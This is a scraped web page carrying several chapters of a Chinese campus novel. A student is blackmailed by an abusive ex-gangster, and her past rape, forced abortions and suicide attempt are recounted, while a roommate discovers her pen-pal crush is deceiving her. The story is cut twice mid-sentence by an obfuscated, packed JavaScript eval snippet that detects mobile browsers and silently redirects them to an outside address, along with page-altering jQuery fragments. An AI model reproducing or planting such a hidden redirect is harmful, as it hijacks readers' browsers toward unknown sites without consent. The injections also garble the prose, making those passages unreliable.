突然,她的手机在口袋里震动起来,提示有短信进来。她掏出手机看了一眼,整个人像是突然被闪电劈中了一样,禁不住浑身颤抖。手机的屏幕被雨水打湿了,那一行字却无比清晰地在她眼前跳动着,“你以为换个号码,我就找不到你了?!” 不好的预感总是那么灵验,她今天从早晨开始一直莫名的心神不灵,没想到…… 她木然地站在雨里,从她身边跑过去的人诧异地回头看她——她浑身湿透了,头发全粘在脸上,仍然出奇的漂亮——男生们忍不住频频回头看她,一个男生甚至撞在了食堂的玻璃大门上。 那条短信,仿佛向她昭告:郑筱,你想逃走吗?醒一醒吧,你这一辈子都没办法逃开。她使劲咬着自己的嘴唇,直到血迹斑斑,为什么那个恶魔不肯放过她? 她用尽全身的力气打了一行字:“顾宇,你怎么还不去死!”,手指停在发送键上,却迟迟不敢按下去。不知道过了多久,她的手机再次震了起来,又一条短信:“你居然敢不回我消息?我周末来找你!” 郑筱惊恐地看向身后,仿佛那个人随时会出现,他会一把掐住她的脖子,把她拖进那个无底的深渊当中。原以为那可怕的一切已经结束了,但似乎只是她一厢情愿的想法。 此刻,过去日日夜夜缠绕着她的噩梦,再一次攫住她的心脏。四周的空气变得稀薄,她张开嘴巴,大口地呼吸。按住删除键,看着那一个个字从手机屏幕上消失,接着她快速打出一行字:“你要多少?我打给你。求求你,别来!” 按下发送键后,死死地钦住关机键,屏幕黑了,她马上把手机塞进包包的最底部,压在所有的书下面。她希望手机永远不再响起。 郑筱一身湿嗒嗒的出现在第二食堂,大部分人向她行注目礼,眼神中透出“就为了吃个饭,至于吗”的意味。她根本无暇顾虑别人在想些什么,只是木然地走到空位置上坐下。身上的水不停往下滴,很快就在她脚下汇聚成一条蜿蜒的小河。嘴唇上的血液已经凝固了,暗黑色的痂像是冬天皲裂的伤口。 无数本应该成为过去的画面在她脑子里不断回放,定格在顾宇被抓的那天:她躲在电线杆后面,死死地攀住那根杆子,连手被磨出了血都不觉得疼。没错,是她向警察通风报信,她恨不得警察当场拔出枪,一枪打死他……当顾宇绕过警察准备翻墙而逃的时候,她的心跳到了嗓子眼,差一点大声喊出来。如果他跑了,那么她所做的一切都白费了。幸好,警察一把扯住了他的腿……警察扭住顾宇的胳膊把他摁在地上,锃亮的手铐在阳光下闪耀着银白色的光芒,她舒出了长长的一口气——她终于摆脱了他。 坐了一会儿,她颤抖着从包里摸出手机。放在面前,踌躇了很久,按下开机键——如果钱能够让那个人永远不出现在她面前,就算倾家荡产,她也愿意。眼泪混着雨水在她脸上流淌,地下的那一滩水,分不清哪些是雨水,哪些是泪水。 为了摆脱过去,她放弃了离家很近的名校,跑到W市来读这所没什么名气的大学。到录取通知书时,她哭了。她没有告诉别人考取了铭盛,同学们问起,她支支吾吾地遮掩过去,别人以为她没考好所以不愿意说,她也不解释。一直到开学,都没有什么人知道她考到了W市。 她以为过去的总归会过去,而她也在新的环境里重新开始。可今天收到的两条短信,清楚明白地告诉她,她想要的安静平和从现在这一刻开始正式跟她告别,从今往后,提心吊胆的日子就像一条藏在黑暗里的毒蛇一样伺机而动。 郑筱坐在那里,想来想去都想不明白顾宇是怎么找到她的——除了父母和最好的朋友林萌萌之外,没有人知道她的学校和新号码。顾宇当然不敢去找她爸妈,他也根本不认识林萌萌。 我们到食堂的时候,看到的景象让我们诧异不已:郑筱魂不守舍地坐在那里,没有吃饭,对着手机屏幕发呆。 “郑筱,你怎么了?跟丢了魂一样。”刘小叶轻轻推了推她,好奇地问。 郑筱打了个颤,吓得往旁边躲,“啊,你别过来。” “不会是发烧了吧?”许苑薇看着她说:“都开始说胡话了。” 郑筱看清了是我们之后才安静下来。 “要不要吃完饭我们陪你去校医院?”我看她的脸色惨白,嘴唇有些发紫,左边的嘴角还有暗黑色的血痂,有点担心。 雨水顺着她的头发滴下来,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997353|161687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摇摇头,“我不吃了,我想回去换衣服。” 她手里死死攥着手机,屏幕上显示着一条未读短信:“五千块,市商银行,账号是……。”她向外走去,没听见刘小叶在身后喊“郑筱,你要不要伞……” 许苑薇一边吃饭一边问:“你们有没有觉得郑筱不太对劲?” 连许苑薇这种神经大条的都意识到不对劲儿,那说明这个问题不是一般问题。可我们也没办法,毕竟我们连问题是什么都不知道。 “但她并不想告诉我们。”我喝了一口西红柿蛋汤,皱了一下眉,今天的汤好咸,“我们总不能逼她说吧。” “我同意。”刘小叶啃着鸡爪,含糊不清地说:“等她找我们帮忙再说。” 学校取款机离第二食堂很远,雨还没有停,郑筱抱着胳膊,一路颤抖着走过去。她不知道该怎么办,可她知道,如果不赶紧把钱汇过去,顾宇也许真的会到学校里来找她。他能拿到她的手机号,当然也能找到她的学校。 郑筱颤巍巍地把银行卡塞进自动取款机,她的手拼命抖着,塞了好几次才把卡塞进插卡口。她输入转账的账户和金额,输了三次才输对数字。按下确定键的那一刻,她觉得整个世界都在头顶旋转。呆呆地看着屏幕上显示的数字,只剩下个零头,整个学期的生活费几乎没有了。 后面取钱的男生有些不耐烦:“你能不能快一点?” 郑筱转过身去,那个男生恨不得抽自己两个嘴巴。早知道是这么漂亮的女生,别说等十分钟了,再等二十分钟又有什么关系,这下好印象全没了。 “不好意思,我马上就好了。”她向他致歉。 “没事没事,你慢慢来。我不着急……”男生搓着手,试图挽回一点好感。 郑筱把银行卡从取款机里退出来,长长地呼出一口气,至少……现在安全了。她拒绝了男孩子送她以及把伞借给她的好意,淋着雨回宿舍。 我们吃完饭,雨已经停了。 没等开始讨论晚上怎么安排,我的手机响了起来,“小陈哥,你在哪儿呢?” “我刚打完球洗完澡,今晚学校放《倩女幽魂》,你们看不看?” 我举着电话,问刘小叶和许苑薇要不要去,她们俩都一脸兴奋,“当然看,都快闷死了。” 铭盛位于郊区,离市区一个半小时的车程,一切娱乐活动与我们绝缘。学校终于良心发现,从上周开始每周五晚上在阶梯教室放电影。大家都没消遣的地方,所以无论放什么烂片都人满为患,不提早占座压根看不上。 陈梦晓已经听到了他们俩的声音,“就你们仨?郑筱去不去?” “不知道,回去问问她吧。她淋了雨,提前回去换衣服了。”我顿一顿,“她没在宿舍里吗?” “没啊……整个宿舍就我一个人。你们都回来啊?早知道不浪费电话费了,回来再说吧,挂了。” 到宿舍的时候,陈梦晓正啃着苹果躺在沙发上,“哎,你们几个怎么这么慢?” 刘小叶还没启动她的无敌辩解攻势,凌静宜推门进来了。她的目光从我们脸上挨个扫射过去,像一束火光四射的镭射光一样,问出的问题毫无杀伤力,“你们晚上干嘛?” “哎呦妈嘞,你的那个眼神……”刘小叶拍着胸口舒了一口气,“我还以为我们干了什么伤天害理的事儿……” “你今晚不回去?”以前每个周五她都回家,我们从没有集体过周末的先例,我不由好奇她怎么突然关心我们的周末活动。 “嗯,今晚不想回去了,反正明天周末也没事儿。”她一边脱外套一边说,里面的连衣裙衬得她曲线玲珑姿态毕露。 刘小叶蹦到她面前,“那跟我们去看电影吧?阶梯教室,鬼片哦……” 凌静宜毫不犹豫答应了。她问:“我下午有课,谁去占位置?” 周五下午只有郑筱和陈梦晓没课,郑筱到现在都不见人影,占位置的重任就落在了陈梦晓身上。 “奇怪,郑筱不是说她回宿舍了嘛?”许苑薇嘟囔了一句,随即被刘小叶打断,“小陈哥,占倒数第三排中间的位置哦。” 刘小叶挤眉弄眼,“那是观影最佳位置。不仅仅可以看屏幕,还可以看到一些平时看不到的精彩镜头哦……” “你跟欧祈不应该经常上演少儿不宜的镜头吗,还需要去电影院看别人?”凌静宜的杀伤力堪比一颗原子弹。 “哪有?”刘小叶急得直跳脚,“我们很纯洁的好不好……” 我看着她,故意用不可置信的夸张口气接腔,“原来欧祈这么逊啊。” “小西,你学坏了!” 刘小叶追着要挠我痒痒,我迅速躲到凌静宜身后,吐了个舌头,“还不是跟你学的。” 刘小叶有点怕凌静宜,说来也奇怪,天不怕地不怕的刘小叶见了凌静宜,就跟耗子见了猫一样。 我们正在打打闹闹,郑筱回来了,她一脸疲惫,身上依旧湿嗒嗒的,没跟我们打招呼就钻进了卫生间。 “她怎么了?”凌静宜问。 我们面面相觑,摇了摇头。 “在食堂就这样了,饭也没吃。”许苑薇小声说。 郑筱把水开到最大,站在花洒下,水从她的头顶流到眼睛,冲刷着她巴掌大的脸。水不停地冲到她的嘴巴和鼻子里,有一种窒息的感觉。一直绷紧的神经发出一声清脆的断裂声,眼泪和热水混在一起,源源不断地顺着她像天鹅一样的脖子滑过她的胸口,流向脚底。她觉得浑身的力气都被抽光了,慢慢地蹲下来,水打在她光洁的脊背上。在流水的遮盖下,她终于哭出声音。 尽管她知道,生活不是偶像剧,不会永远甜蜜幸福。它永远按照自己的意志为所欲为,它不会因为你想要平静就给予安宁,但可不可以,不要对她这么残忍。 不知道过了多久,她听见刘小叶在门外叫她:“郑筱,我们晚上去看电影,你去不去?” 她用沙哑的声音回答,“我不去,太累了。” 她听见刘小叶走开的声音,她听见她欢快地跳着,高声问:“小西,我们带什么零食去?芥末味的杏仁怎么样?”她听见一群人打打闹闹,七嘴八舌争论看电影究竟要不要吃爆米花…… 她们离开宿舍了,应该是许苑薇关的门,门发出轻轻的“咔哒”声。她把头埋进自己的膝盖里,张开嘴大哭,水沿着着她的额头涌进她的耳朵,整个世界嗡嗡作响,顺着腮帮流进口腔里,倏忽一下攫住她的心脏。 门里门外是两个世界,外面的那个世界阳光灿烂岁月静好,而里面的世界电闪雷鸣大雨滂沱。 在今天之前,她并没有意识到,人生最大的悲剧是:她以为她可以跟她们一样沐浴在阳光之下,可实际上,弥漫在她苍白的人生上空的永远只是阴霾。 ——低沉如大提琴般的巨大悲鸣才是她的主旋律,犹如句尾触目惊心的惊叹号。 18. 第 18 章 “小西,这儿,倒数第三排。”刘小叶在黑暗中冲我们挥手,她的夜视能力好得像猫头鹰。我和凌静宜一路跟别人说着不好意思,一路跌跌撞撞地摸到了后面一排。 “你们怎么才来?电影都开始了。”刘小叶大声嘟囔了一句,惹得旁边的人斜了我们一眼,潜台词昭然若揭——看个电影都费劲儿。我略感诧异,平时费劲的事情已经那么多了,他们居然会介意多出个把两件。 本来我跟刘小叶一起下课,准备一起吃个晚饭就来看电影。 刚出教室,我接到凌静宜的微信,“我在搞一个数学模型,要晚点过去。你介意错过开场吗?” 刘小叶瞄了一眼消息内容,感叹了一句:“啧啧啧,这语气,像极了理工男对女朋友说的话——小西,以后千万别找工科男,还不如跟根木头谈恋爱。” 啊……欧祈读的是电子工程技术,看来刘小叶的感情生活情趣欠佳。 刘小叶看着我的表情,扔了一颗坚果进嘴,“小西,我知道你在想什么。你跟着凌静宜学坏了,哼……” 作为一个大一新生,还是学金融的,凌静宜居然选修了数学建模,我真怀疑她是不是打算以后跟数字死磕到底。她那种学霸,就算哪天从她嘴里蹦出“金融太简单了,我打算辅修数学、物理或者化学或者生物等等”,我都不会觉得奇怪。而对我来说,如果能不跟数学打交道,人生显然会完美很多。要不是因为选了国际经济与贸易专业,并且跟我爸放出了豪言壮语,我大概会在第一学期就转专业吧……脑海里突然闪过他的影子,他是学什么专业的?他喜欢他的专业吗? “小陈哥,你怎么还在这儿?”刘小叶一声尖叫,成功地把我的注意力从那个无解的问题上引开。 “我占过位置了。高等数学课本、基础英语课本、马克思主义原理……用的都是重量级,累死我了。”陈梦晓靠在门框上的姿势颓废潇洒,吸引一批女生频频朝我们这边看。 我的头皮发麻,小陈哥总是不经意就向同性发出“等着被老子掰弯”的猛烈信号,谁知道我还要帮她挡多少奇怪的桃花。我忍不住埋怨那个叫陆亦的,他就不能给点力快点搞定小陈哥吗?他知道她招惹桃花的能力有多强吗? “拜托,电影占位谁认课本啊?”刘小叶拉着陈梦晓就走,“赶紧过去,不然谁知道会不会在垃圾桶里才找得到你的课本。” 现下,我坐在刘小叶所谓的最佳观影位置,刘小叶挤眉弄眼地表示课本占位居然很好用。 道德这东西在大一新生里还算流行,我们成为大二大三学生去本部之后,如果你用课本占电影位置,基本上连书的封皮都找不到。约定俗成的观点是:课本这玩意,只在上课、自习的教室和图书馆里占位有效,而且还是分时段有效。在乱拳打死老师傅的大一,没有人理睬这个约定俗成,用课本占位置的事情随处可见,甚至有人用课本在情人坡占位置,真是丧心病狂。 等我们在所谓的规则和看不见的框框里生活的时候,回头去看,肆意而有道德归属的时代还算不错。 我估计凌静宜和我一样,对这部电影的最大兴趣是那个美貌的女鬼。当聂小倩出现在屏幕上时,我听见她轻轻地叹了一口气。 过了一会儿,我才发现我们真不应该坐这儿——除了我们五个女生之外,周围都是小情侣。周遭一片黑暗,耳边都是卿卿我我的声音,只有偶尔的一个恐怖镜头才能阻止他们说情话的情绪。“我好害怕”,“怎么还没结束”不绝于耳,稍稍涌起的恐惧感消失殆尽,鬼片应该一个人在家看。 “我的妈呀,吓死我了……”前排的一个男生大叫一声,躲在了她旁边的姑娘身后,我们几个整齐划一地翻了个白眼。 可怕镜头过去了,小情侣们又开始蠢蠢欲动,我旁边竟然有一对在接吻,还有个男生把手从女生的衣服里伸了进去,他们真把旁边人都当瞎子吗? 我真不敢相信,人类的求偶和繁殖欲望如此之强烈——铭盛的这座新校园全部是各院系的大一新生,不过两个多月的时间,竟然产生了这么多对情侣。 许苑薇浑身不自在地扭动着,她旁边的那对情侣恨不得粘在彼此身上。凌静宜瞥了一眼周遭的环境,淡定地问刘小叶:“你们是不是占错位置了,我们像在三级片现场。” 显然,刘小叶也没想到,她期待的精彩镜头比她想象中的冲击得多。 “春暖花开,万物复苏,又到了□□的季节……”我伸个懒腰,阶梯教室的椅子坐得我屁股痛,早知道就带个坐垫来了,“再加上校园里只有一片小树林,而且还不够黑。这里没变成到处涌动着□□气息的原始丛林,你应该庆幸了。” 刘小叶悄悄地戳了戳我,说:“小西,现在不是已经过冬了吗?” 他们不要脸,我不介意给他们加点料。我和凌静宜都没有刻意压低声音。周围的人安分了下来,我和凌静宜在黑暗中交换了个眼神,在彼此的眼神中击了一下掌。 终于可以好好看电影了。 天气异常配合,突然下起雨来,雨水打在窗户上,让这段人鬼情显得格外凄美哀怨。 “你们带伞了吗?”许苑薇有点担心地看向外面,幽暗的白色灯光像是罩着一层朦胧的窗纱一样,有一种苍白而迷离的美。 “雨小一点我们就走吧。”我提议。主要对这种老片,我的兴致不高,况且周围的环境也确实恶劣。 这时,投影屏幕上姥姥出现,斜前方一个女生尖叫了一声:“沈彦,我害怕。”猛地扑进了旁边男生的怀里。 说实话,我没被电影情节吓着,被那个女生吓了一跳。至于吗?这都多少年前的老片了,我在心里翻了个白眼,猛不丁看见凌静宜赠送了华丽丽的一对大白眼。 我探头想看看是哪位娇滴滴的大美女,正好看见男生侧过脸安慰她,他看起来有点眼熟。我摇摇头,不太可能,像我这种脸盲,肯定是认错了。我是不是需要给自己装个人脸识别系统? “我们走吧,看不下去了。”凌静宜嫌弃地看了一眼周围,对情侣在食堂喂饭等各种秀恩爱她完全熟视无睹,可对这种赤裸裸地装娇弱她却接受无能。 刘小叶看看外面,说:“现在雨小了,我们只有三把伞,赶紧走。” 我们往外走,前面的那对小情侣也离场走了。大概妹子是真的害怕吧。走到门口,许苑薇回头招呼我跟她打一把伞,突然她的手一抖,冲我喊了一声“沈彦?” 这个名字怎么这么耳熟?哦,刚刚那个妹子喊过。 戴着黑框眼镜斯斯文文的男生正在撑伞,抬起头看是谁叫他,目光撞上许苑薇,愣住了,像突然被闪电击中了一样定在原地。他旁边的女生问:“她是谁啊?” 他猛然回神,慌慌张张地说:“以前的同学……你不是要去吃宵夜吗,我们赶紧走吧。”他一脸不自然地对许苑薇说:“这么巧啊,我们还有事,先走了。” 许苑薇好像没有反应过来,茫然地说:“哦,好啊。” 他们两个人挨在一起,女生挽着男生的胳膊,在朦胧的路灯下,雨水像烟雾一样飘散。这个场景,曾经不止一次地出现在许苑薇的幻想中。唯一不同的是,女主角是她本人。 许苑薇呆呆地站在那里,她甚至能够背得出他这周寄来的那封信里的每一个字,信的末尾是这样一句话——你比我想象中还要可爱,我觉得你是上天赐给我的最好礼物,热切期盼下周的见面。 每天晚上睡觉前,她都会把这封信拿出来读一遍,然后把它贴在胸口上,甜蜜美好的喜悦充溢着她的胸口。比考试得第一名还要开心,她感受着心脏的跳动,脑海里浮现出他的脸,描绘着见面的场景,她甚至在想这个周末要不要拉小西她们陪她去买衣服。 随着见面时间的临近,她既兴奋又紧张,有时候甚至有些焦虑,不知道如何是好。要不要给他准备小礼物?他会不会觉得自己没有照片好看?她一遍又一遍在脑海里想着见到他的第一句话。 “沈彦,你好。我是许苑薇。”不行,太古板了。 “沈彦,你比照片上还好看。”会不会太轻佻? “沈彦……” 直到脑袋发涨想不动了,才晕沉沉地陷入梦境里。 这一刻,所有的一切都失去了原本该有的绚丽色彩,就像剧情进行到最高潮时突然有人拔掉了电视插头。许苑薇的耳朵里嗡嗡作响,浑浑噩噩。 刘小叶一脸不可置信的表情,她看看我,再看看许苑薇,说:“他不是给你写信的那个人吗?!”许苑薇茫然地点点头。 “我靠,这个人渣。”刘小叶咬牙切齿地咒骂。 我恍然大悟,是给许苑薇写信的男生! 凌静宜和陈梦晓不知道来龙去脉,此时大概猜出来是怎么回事了。真难以想象,我们集体见证了许苑薇的初恋失败,如果这算得上初恋的话。 许苑薇什么话都没说,没有咒骂,没有谴责,没有自怜自艾,只是直愣愣地走进雨里。 我们手忙脚乱地撑开伞,追上她,帮她挡雨。一路上的气氛很压抑,阶梯教室离宿舍只有十五分钟的路程,我却觉得像是走过了二万五千里长征。精疲力竭。我们不知道该怎么安慰她,沉默着在路灯闪烁的道路上行走,像是走在沙漠里的商队一样。 快走到宿舍楼下时,许苑薇大声哭了起来。冰冷的雨水随风打在我们脸上。我听见凌静宜长长地舒了一口气。 回到宿舍,刘小叶愤恨不平地说:“许许,你不要难过了,为了那样的人难过不值得……” “那个女生很漂亮,对不对?”许苑薇拿掉眼镜,用手使劲地抹去不停流下来的眼泪,泪水沿着她的手指缝滴下来,掉在地上砸得粉碎。 “哪里漂亮?”刘小叶大叫起来,“那个姑娘的脸长的快赶上马脸了。” “就是……那个女生跟你比差远了。那个男的简直瞎了。”陈梦晓摸着她的头发安慰她。 凌静宜看着她们俩义愤填膺的样子,轻轻摩挲着双手,从包里掏出一小瓶免洗洗手液。她有洁癖,钟爱白色,一天洗很多次手。她说:“重点不是那个女生有多漂亮,而是他本质就那样。” “他摆明就是个渣男,已经有女朋友了,还来招惹你。”我接过她的话头,“如果仅仅因为你比他女朋友漂亮,就跑来追你,更说明他是个渣男。” “彻头彻尾的渣男!”凌静宜不容置疑地做了总结。 “这也不能怪他。他从来没说过要追求我……”许苑薇开始为他辩解。 “那他说过任何暧昧的话语吗?”凌静宜盯着许苑薇的眼睛问。 许苑薇的眼睛里蓄满了泪水,她的睫毛上也粘着泪水,像是清晨的青草叶上粘着的露水,稍稍眨动眼睛,泪水就像露珠一样滚落下来。 “不用问了,肯定有。”我看着她那一副小白兔的样子,答案不言而喻,刘小叶和我都知道他们约了下周见面,而许许不是个自恋的姑娘,相反,她腼腆羞涩,除了学习成绩不错之外,她总认为自己是个平凡得不能再平凡的女生。 “那下周的见面我还要去吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14997354|161687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”她抽着鼻子问。 “别去了,还去干嘛!”陈梦晓好看的眉头紧紧攒在一起,“那小子应该也不敢去吧?除非他想挨揍。” “去,干嘛不去?见到他,我非打得他连亲妈都不认识!”刘小叶义愤填赝地挥舞着小拳头。 “他应该不会去,他还有脸见许许吗?”我很生气,这样的男生应该拖出去乱棍打死。 许苑薇的眼睛又红又肿,她不停地抹着掉下来的眼泪,小声抽泣着说:“总该交代一下或者有个告别吧……” 刘小叶走上前,把她揽进怀里,摸着她的头发说:“好许许,想要哭就大声地哭出来吧,哭出来就没事了。” 男性这种生物,无关年龄,在没有道德感的约束下,跟种马差不多。别问我怎么知道的,如果你像我一样读《包法利夫人》、《漂亮朋友》、《洛丽塔》等等,你当然也会知道。我丝毫不诧异凌静宜对渣男的态度,跟她相比,我们的成熟度跟小学生差不多。 如果那个叫沈彦的缺席约定,我鄙视他;如果他在这种情况下还出现,我佩服他的勇气,然后更加鄙视他。 我走过去,犹豫了片刻,伸出胳膊轻轻地圈住她们俩。陈梦晓走过来抱住我们,最后是凌静宜。凌静宜的声音里有一丝冰冷,“哭过之后就努力忘记吧。有些人不会告别,也不值得你为他伤心。” 外面得雨下得越来越大,许苑薇抱住刘小叶大声哭泣,“我想问他为什么?为什么要骗我?” 不得不承认,很多时候幸福和悲伤就是这样交错着登场,往往在我们还没有准备好的时候突然袭击,就像夏日里猝不及防的暴雨。 初冬的夜晚,竟然如此寒冷。但我的心里却涌上一丝奇怪的情愫,陌生但温暖。 郑筱一个人站在房间的窗户边,她的身影在雨夜里显得格外清冷。她紧紧攥着拳头,背部紧绷,距离转账已经过去了八小时二十五分钟,直到这一刻,她的手机里都没有出现任何新的消息。 No news is good news。她的心里有个小小的声音,抚慰她不要担心。 客厅里响起嘈杂的声音,她脱掉了衣服,整个钻进被子里。她们的讨论钻进她的耳朵里——许苑薇失恋了。她应该去安慰她,毕竟平时关系不错,可如今她自顾不暇,没有心力去管别人的任何事情。 在巨大的疼痛和悲哀里,好像所有的感官都变得麻木,“算了吧”,她从鼻子里轻轻哼出一口气,“已经够多人关心她了,不差我一个。没有一个人管我的死活”。 她多想,顾宇从自己的世界里永远消失,就像从来没有出现过一样。 那些她刻意忘掉的过往,像潮水一样涌上来。 顾宇比郑筱大两岁,父母早就离了婚,又各自成了家,没有人肯要他,他很小就开始在社会上混;而郑筱一直是优等生和乖乖女,本来他们之间不会有任何交集。直到郑筱高一那一年,她爸出轨了,自那以后她爸妈天天打架闹离婚。她无心学习,每天都在外面厮混,寄宿学校放假也不回家,然后她认识了顾宇。 看到郑筱的第一眼,他就知道他想要这个女生。不过他并没有像一般的混混那样对她动手动脚。他知道她因为父母闹离婚不愿意回家,到哪里都带着她,不允许任何人欺负她……她跟着顾宇学会了抽烟喝酒,甚至跟着他们去打架勒索。 顾宇人很聪明,下手狠辣,很快就当上了一帮小混混的头。原先只是勒索一些低年级学生,后来他带着团伙坑蒙拐骗、打架抢劫。 其他人都喊她嫂子,那时,她对顾宇不是没有好感,甚至有少女懵懂的爱恋。可这一切,都被顾宇一手捏碎了。 郑筱的父母重归旧好,她想回到正常的轨道上去,可顾宇不肯放她走。在众目睽睽之下□□了她,把她关起来,直到她怀孕了才有机会去医院,不是产检,而是带她去堕胎。她堕过两次胎,如同太阳下暴晒的百合花一样脆弱颓败,千疮百孔。 她不敢跟父母说,曾经想一死了之。在割过一次腕没死成之后,她不想再去死。该死的人是顾宇! 没过多久,顾宇跟另一个帮派抢地盘,在混乱里打死了人,一边帮派追杀他,一边警察也通缉他。趁着顾宇仓惶躲避,她才有机会逃了出去。但噩梦没有结束,顾宇找到她,向她要钱并威胁她,如果她不给钱,他就把她的事情搞到人尽皆知。 郑筱害怕得要命,如果让别人知道,她就没脸继续活下去。她那么接近过死亡,那种滋味,她不愿意再试一次。 她用了各种名目向爸妈拿了一千块转给他,可没过多久,他又打电话找她继续要钱。她找借口拖住他,套出了他藏身的地方。之后,她把消息放给了另一个帮派的人,然后偷偷报了警…… 顾宇直到被抓,都认为是帮派斗争引来了警察,完全没想到是她举报。 她偷偷去听了宣判,顾宇被判终身监禁,压在她心口的大石头放了下来。即便这样,她依然害怕。直到逃离了家乡,她才觉得自己能大声说话,自由呼吸。被顾宇关着的那段时间,她甚至想如果谁能杀死顾宇,她会毫不犹豫地用她能力范围内的一切感谢他。 那是一段她希望永远忘记的过去,如果世界上真的有药可以遗忘这一段可怕的过去,她愿意用任何东西去换。 郑筱躺在床上,把脸别向一边,无声的泪水从她美丽的眼睛里滚落下来,沿着腮帮落到了枕头上,打湿了枕头。 整个世界笼罩在巨大的雨幕之中,一切声响都被掩埋了,只剩下哗啦啦的雨声。 19. 第 19 章 我们陪许苑薇去了约定的地点,从下午两点等到夜幕降临,沈彦没有出现。有些人只能存在于虚幻之中,他消失得无影无踪,好像幻觉一样。 “我早就说过他不敢来,这个孬种!” 陈梦晓一拳锤在柱子上,“可惜不能揍他一顿!” 我和刘小叶吸了一口气,看上去都觉得疼。果然,过了一会儿,小陈哥开始捏着拳头默默皱眉。 “这种人,真的是要暴打一顿才解气……”刘小叶一边说一边掏出电话,“他是S大的吧?读什么专业?许许,你等等啊,我让欧祈帮忙,挖地三尺也要把他找出来。” 许苑薇一把按住她拨电话的手,神色黯然,说:“算了,我们回去吧……我早该想到是这样的。” 她努力吸着鼻子,眼泪在她的眼眶里打着转,嘴角向上扯,还是没绷住,眼泪倏得落了下来。她垂下头向前走。刘小叶和陈梦晓追上去,一左一右勾着她的胳膊,安慰她。 凌静宜从始至终没说一句话。 我们都怀疑沈彦不会来,可还抱着万分之一的侥幸。但她没有,或许从始至终,她都知道他不会来。 我望着她们的背影,问凌静宜:“你早就知道他不会来,为什么还肯陪许许来?” 她望着天空,过了一会儿才说:“有些事情,还是自己经历了,绝望了,才会好起来。” 我看着她,似懂非懂。 尽管开学晚,铭盛该做的事情一样不落,只不过秋季运动会变成了冬季运动会。十二月中旬的W市,冷得够呛,短短半个月,气温急转直下。十二月初的天气跟腻腻呼呼的小情侣一样,今天好了明天闹别扭,十二月中旬的天气像更年期妇女,天天都不给好脸色。 在十二月下旬开运动会,除了佩服老师的勇气之外,我更好奇那些运动健儿们的身体素质得好到什么程度,才在寒风凛冽里穿着背心比赛。 “开什么运动会,还不是为了炫耀新建成的塑胶跑道”。刘小叶躺在床上,翻着漫画吃薯条。 对这一点,我深表认同。 也不能怪我们以女子之心度校长之腹,实在是司马昭之心路人皆知:往年都是在市区的本部开运动会,没想到今年的主赛场居然在新校区。要知道除了图书馆和操场,我们这个校区只能用破败两个字形容。现在整个铭盛除了图书馆之外,最引以为傲的就是新建成的跑道。 我们估计三个月后竣工的体育馆会成为另一个焦点,谁知道那时学校又会想出什么主意,恨不得敲锣打鼓提醒我们,千万不能忽略这座新校区日新月异的变化。 对我来说,运动会跟放假三天没什么区别,反正运动会选拔赛什么的跟我没关系。郑筱也是运动渣,跟我半斤八两,不过她说她有安排,有活动不用算上她。刘小叶原本提议蹭校车去市区,溜出去好好逛一逛。当然,这是在听到另一个噩耗之前的完美计划。 刘小叶大概只能用谜之悲惨来形容,她被班主任寄予厚望扔铅球。在宿舍里她快把羊毛地毯蹂躏起球了,“天哪,谁知道是我扔铅球还是铅球扔我?” 陈梦晓啃着苹果,悠然自得地走来走去,运动会对她来说小菜一碟。 许苑薇问:“小陈哥,你报了什么项目?” “100米,4X100和4X400。” “那我们看完这三个项目就可以撤了。”刘小叶对运动会的热情比我还低,“啊!!!!该死的扔铅球。” “嗯……”我点点头,“没人告诉老师以身材取人是不对的吗?” 刘小叶冲上来要掐我,我灵活地躲开了,虽然我的运动细胞匮乏,但她的运动细胞肯定是惰性细胞,完全不愿意动弹。 自从运动会被学校提上日程之后,我们日常讨论的主题就变成了“如何完美地度过三天假期”,而刘小叶愁容满面,每天的主旋律是思索“如何才能不去扔铅球”。 “没关系,你只要扔铅球的时候假装摔一跤就好了,不过可能会受伤。”我以非常无所谓的态度告诉她,在高中时有个女同学扔铅球摔了一跤扭伤了胳膊,理所当然得缺席整学期的体育课。当然我没有告诉她,那个脱臼的胳膊养了一个多月。 ——我才不信刘小叶会为了躲避扔铅球弄伤自己。 结果在选拔赛时,她真的摔了一跤,成功扭伤了腰。幸运的是她的腰没有脱臼。 当我在医务室看到她龇牙咧嘴地“享受”校医推拿的时候,我仍然坚信这是个意外。 她用比哭还难看的笑脸朝着我说:“小西,还是你的办法好……”,我恨不得冲上去敲开她的脑袋,“你这个大傻瓜!怎么我说什么你都信……” “不信你还能信谁?”她疼得发出嘶的一声,眉头皱在一起,“你别告诉欧祈,他会担心的。” 她的担心着实多余——我从来不加好朋友的男朋友的任何联系方式(尽管我的朋友中只有刘小叶有男朋友),一是懒,二是怕麻烦。他们要是找不到人时都来问我,我不得忙死? 幸好刘小叶伤得不严重,推拿热敷了一星期后活蹦乱跳了。医生告诫她要注意不能大幅度运动以免再次扭伤,她似乎没当回事,上蹿下跳比小陈哥都灵活,大有“十八年后又是一条好汉”的架势。 周五我们都没课,我莫名一大早醒了,躺在床上翻来覆去睡不着。刘小叶的手机时不时响起微信提示音,她迅速地点开回了之后又转身去睡。我怀疑摔的那一跤改变了她的某些机能,以前无论是打雷还是地震她都不会醒。说实话,我对这种半睡半醒机制的运作原理十分好奇,刘小叶应该庆幸我不是科学怪人。 